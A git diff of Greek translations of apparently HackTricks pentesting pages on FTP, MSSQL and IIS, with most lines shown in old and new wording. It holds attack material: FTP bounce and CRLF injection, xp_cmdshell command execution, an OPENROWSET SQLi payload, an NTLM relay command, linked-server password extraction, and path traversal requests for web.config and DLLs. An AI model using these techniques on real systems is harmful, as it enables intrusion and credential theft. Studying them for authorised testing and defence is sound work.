Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του στην θύρα εντολών του FTP Server θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του στην θύρα N+1** του FTP Client.
Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του προς την θύρα εντολών του FTP Server θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του προς την θύρα N+1** του FTP Client.
Αλλά, αν ο FTP Client έχει ρυθμισμένο ένα τείχος προστασίας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από το εξωτερικό, τότε το active FTP μπορεί να είναι πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Passive FTP.
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του στην θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του στην θύρα M** του FTP Server.
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του προς την θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του προς την θύρα M** του FTP Server.
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -88,8 +88,8 @@ STAT
### Ανώνυμη σύνδεση
_anonymous : anonymous_\
\&#xNAN;_anonymous :_\
\&#xNAN;_ftp : ftp_
\_anonymous :_\
\_ftp : ftp_
```bash
ftp <IP>
>anonymous
@ -115,14 +115,14 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Σημειώστε ότι αν μια **εφαρμογή ιστού** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server**, μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http).
Σημειώστε ότι αν μια **web application** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server** μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http).
## Κατεβάστε όλα τα αρχεία από τον FTP
## Κατεβάστε όλα τα αρχεία από FTP
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
Αν το όνομα χρήστη/κωδικός πρόσβασης σας έχει ειδικούς χαρακτήρες, η [παρακάτω εντολή](https://stackoverflow.com/a/113900/13647948) μπορεί να χρησιμοποιηθεί:
Αν το όνομα χρήστη/κωδικός σας έχει ειδικούς χαρακτήρες, η [παρακάτω εντολή](https://stackoverflow.com/a/113900/13647948) μπορεί να χρησιμοποιηθεί:
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
@ -131,18 +131,18 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε δεκαεξαδικό_).
- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάδικο_).
- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια TCP σύνδεση (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
- **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
- **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή)
- **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
- **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία
- **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
- **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από το 6ο byte.
- **`TYPE i`** Ρυθμίστε τη μεταφορά σε δυαδική
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει στο 6ο byte.
- **`TYPE i`** Ρύθμιση μεταφοράς σε δυαδικό
- **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
- **`PUT /tmp/file.txt`** Ανεβάστε το υποδεικνυόμενο αρχείο στον FTP
- **`PUT /tmp/file.txt`** Μεταφόρτωση του υποδεικνυόμενου αρχείου στον FTP
![](<../../images/image (386).png>)
@ -152,10 +152,10 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
[**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή χρήστη;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **μεταφορτώσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
Η θεωρία είναι απλή:
1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
1. **Μεταφορτώστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο έπρεπε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
@ -186,7 +186,7 @@ vsftpd.conf
```
### Post-Exploitation
Η προεπιλεγμένη ρύθμιση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις:
Η προεπιλεγμένη ρύθμιση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε κάποιες επικίνδυνες ρυθμίσεις:
- `anonymous_enable=YES`
- `anon_upload_enable=YES`

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα λογισμικό με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).\\
> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
**Default port:** 1433
```
@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια εγκατάσταση SQL Server.
- **msdb Database**: Ο SQL Server Agent χρησιμοποιεί αυτή τη βάση δεδομένων για να διαχειρίζεται τον προγραμματισμό για ειδοποιήσεις και εργασίες.
- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, ταξινόμηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες βάσεις δεδομένων που δημιουργούνται.
- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που έρχονται με το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, ταξινόμηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες δημιουργούμενες βάσεις δεδομένων.
- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
- **tempdb Database**: Λειτουργεί ως προσωρινός χώρος αποθήκευσης για παροδικά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
## Απαρίθμηση
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Κοινή Καταμέτρηση
#### Κοινή Απαρίθμηση
```sql
# Get version
select @@version;
@ -157,9 +157,9 @@ SELECT * FROM sysusers
1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
- **Server** Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
- **Database** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
- **Schema** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κ.λπ.
2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών πραγματοποιείται σε δύο επίπεδα:
- **Database** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
- **Schema** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα κ.λπ.
2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα:
- **Server Level** χρησιμοποιώντας συνδέσεις
- **Database Level** χρησιμοποιώντας χρήστες
3. **Principal:** Αυτός ο όρος αναφέρεται στην οντότητα που έχει παραχωρηθεί άδεια σε ένα securable. Οι κύριοι περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα securables ασκείται μέσω της παραχώρησης ή άρνησης αδειών ή με την ένταξη συνδέσεων και χρηστών σε ρόλους που είναι εξοπλισμένοι με δικαιώματα πρόσβασης.
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Execute OS Commands
> [!CAUTION]
> Σημειώστε ότι για να μπορείτε να εκτελείτε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά και να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με:
> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με:
>
> ```sql
> Use master
@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Μπορείτε να ελέγξετε ποιος (εκτός από τους sysadmins) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με:
> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με:
>
> ```sql
> Use master;
@ -276,7 +276,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Κατάχρηση αξιόπιστων Συνδέσμων MSSQL
### Κατάχρηση Εμπιστευμένων Συνδέσεων MSSQL
[**Διαβάστε αυτή την ανάρτηση**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για να βρείτε περισσότερες πληροφορίες σχετικά με το πώς να καταχραστείτε αυτή τη δυνατότητα:**
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Διαβάστε αρχείο με** OPENROWSET
Από προεπιλογή, `MSSQL` επιτρέπει την **ανάγνωση αρχείων σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση:
Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -315,13 +315,13 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Σφάλμα-βασισμένο διάνυσμα για SQLi:
#### Vector σφάλματος για SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Ανάγνωση αρχείων εκτελώντας σενάρια (Python και R)**
Το MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί το **xp_cmdshell** για να εκτελέσει εντολές.
MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές.
Παράδειγμα προσπαθώντας να εκτελέσετε ένα **'R'** _"Hellow World!"_ **δεν λειτουργεί**:
@ -343,9 +343,9 @@ GO
```
### Ανάγνωση Μητρώου
Microsoft SQL Server παρέχει **πολλές επεκτάσεις αποθηκευμένων διαδικασιών** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Κανονικό** | **Ευαισθησία σε Instance** |
| **Κανονική** | **Ευαισθησία σε Instance** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -366,7 +366,7 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Για **περισσότερα παραδείγματα** ελέγξτε την [**πρωτότυπη πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Για **περισσότερα παραδείγματα** δείτε την [**αρχική πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE με MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
@ -505,7 +505,7 @@ enum_links
use_link [NAME]
```
> [!NOTE]
> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές.
> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές.
>
> Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να προσποιηθείτε οποιονδήποτε άλλο:
```sql
@ -535,17 +535,17 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσουν μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν προκειμένου να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή ή τη δυνατότητα διαχείρισης των ρυθμίσεων του SQL Server.
Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server.
Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής:
1. Ενεργοποιήστε το TCP/IP στις SQL Server instances;
2. Προσθέστε μια παράμετρο εκκίνησης, στην προκειμένη περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806.
2. Προσθέστε μια παράμετρο εκκίνησης, σε αυτή την περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806.
3. Ενεργοποιήστε τη σύνδεση απομακρυσμένου διαχειριστή.
Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαραίτητα σενάρια. Εκτός από το ότι έχει ένα σενάριο powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης.
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

View File

@ -59,9 +59,9 @@ iisfinal.txt
Ελέγξτε την πλήρη ανάλυση στο: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Ως σύνοψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\
> Ως περίληψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\
> Από τα **κατεβασμένα Dlls** είναι επίσης δυνατόν να βρείτε **νέα namespaces** όπου θα πρέπει να προσπαθήσετε να αποκτήσετε πρόσβαση και να αποκτήσετε το αρχείο web.config προκειμένου να βρείτε νέα namespaces και assemblyIdentity.\
> Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.\\
> Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
Στις **εφαρμογές .Net MVC**, το αρχείο **web.config** παίζει κρίσιμο ρόλο καθορίζοντας κάθε δυαδικό αρχείο που εξαρτάται η εφαρμογή μέσω των XML ετικετών **"assemblyIdentity"**.
@ -77,14 +77,14 @@ Host: example-mvc-application.minded
- **EntityFramework** έκδοση
- **AppSettings** για ιστοσελίδες, έλεγχο πελατών και JavaScript
- **System.web** ρυθμίσεις για αυθεντικοποίηση και χρόνο εκτέλεσης
- **System.webServer** ρυθμίσεις μονάδων
- **System.webServer** ρυθμίσεις modules
- **Runtime** δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc**
Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το **/bin/WebGrease.dll**, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής.
### **Αρχεία Ρίζας Διευθύνσου**
### **Αρχεία Ρίζας Διευθύνσεων**
Αρχεία που βρίσκονται στη ρίζα διεύθυνση, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
Αρχεία που βρίσκονται στον φάκελο ρίζας, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
### **Namespaces και Web.Config**
@ -95,14 +95,14 @@ Host: example-mvc-application.minded
```
### **Λήψη DLLs**
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που βρίσκεται στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για τη λήψη του **WebApplication1.dll**:
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που υπάρχει στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη του **WebApplication1.dll**:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Αυτό υποδηλώνει την παρουσία άλλων βασικών DLL, όπως το **System.Web.Mvc.dll** και το **System.Web.Optimization.dll**, στον φάκελο /bin.
Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία μιας άλλης DLL, **WebApplication1.AdditionalFeatures.dll**.
